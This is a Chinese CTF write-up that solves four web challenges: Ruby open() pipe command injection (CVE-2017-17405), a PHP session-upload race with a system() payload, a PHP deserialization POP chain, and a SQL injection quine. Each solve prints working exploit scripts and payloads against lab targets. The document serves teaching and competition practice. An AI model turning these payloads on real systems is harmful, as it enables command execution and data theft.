PNG图片转换器

附件下载源码

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require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

这里利用的点是CVE-2017-17405

如果传递给 open 函数的文件名参数是以“|”开头，Ruby 会打开一个管道句柄并执行后面的命令。

我们创建一个rb文件测试，内容如下

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f = open("|whoami")
puts f.read

然后运行

成功执行了命令，看这道题的关键代码，在/convert路由处可以利用，不过限制了..和/，并且需要png结尾，不过我们可以通过系统变量构造出来

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执行ls /
file=|ls `echo ${PWD}|cut -c 1`>dotast.png


然后再读取dotast.png

base64解码后得到文件名：FLA9_VixNxtSRFfd8IoFlnNvv，然后就是读取这个文件

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file=|cat `echo ${PWD}|cut -c 1`FLA9_VixNxtSRFfd8IoFlnNvv>dotast.png

再访问一次file=dotast.png，base64解码后得到flag

EasyCleanup

session文件包含，之前ctfshow做过的题，直接跑脚本就好*

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#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/20 23:51
# blog: www.wlhhlc.top
import io
import requests
import threading
url = 'http://114.115.134.72:32770/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag_is_here_not_are_but_you_find");?>dotasts'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
    while True:
        response = session.get(url+'?file=/tmp/sess_flag')
        if 'dotasts' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    write = threading.Thread(target=write, args=(session,))
    write.daemon = True
    write.start()
    read(session)

WebFTP

github上有源码：https://github.com/wifeat/WebFTP
/Readme/mytz.php中可以执行phpinfo函数
执行后phpinfo有flag

pklovecloud

代码

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 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

一个个看，首先pkshow类排除，没有用，但是acp类会调用pkshow的echo_name()方法，观察到ace类也有一个echo_name()方法，所以我们需要改成调用ace类的echo_name()方法

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class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}

在ace类中，会反序列docker中的内容，然后传给openstack，并且给成员变量$neutron赋值一个未知数，然后需要类中的neutron和nova强相等才会进入if里面，这里我们可以用变量引用的方式去使其永远相等，思路都懂了，构造pop链

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<?php
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct($cinder)
    {
        $this -> cinder = $cinder;
        $this -> neutron = &$this -> nova;
    }
}

class ace
{
    public $filename = "flag.php";
    public $openstack;
    public $docker;
    function __construct($docker)
    {
        $this -> docker = $docker;
    }
}

echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));

然后传参

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pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A68%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A3%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A6%3B%7D

右键源码查看flag

yet_another_mysql_injection

http://114.115.143.25:32770/?source 可以查看源代码

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 <?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

很显然需要我们输入的passwors和数据库中的强相等才行，搜了一下资料，Quine可以编写一个返回自身的sql查询
参考链接：https://www.shysecurity.com/post/20140705-SQLi-Quine
使用脚本编写payload

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#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/9/18 11:25
# blog: www.wlhhlc.top
def quine(data, debug=True):
    if debug: print(data)
    data = data.replace('@@',"REPLACE(REPLACE(@@,CHAR(34),CHAR(39)),CHAR(64),@@)")
    blob = data.replace('@@','"@"').replace("'",'"')
    data = data.replace('@@',"'"+blob+"'")
    if debug: print(data)
    return data

result = quine("'UNION/**/SELECT/**/@@/**/AS/**/atao#")

运行后得到

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'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("@",CHAR(34),CHAR(39)),CHAR(64),"@")/**/AS/**/atao#',CHAR(34),CHAR(39)),CHAR(64),'"UNION/**/SELECT/**/REPLACE(REPLACE("@",CHAR(34),CHAR(39)),CHAR(64),"@")/**/AS/**/atao#')/**/AS/**/atao#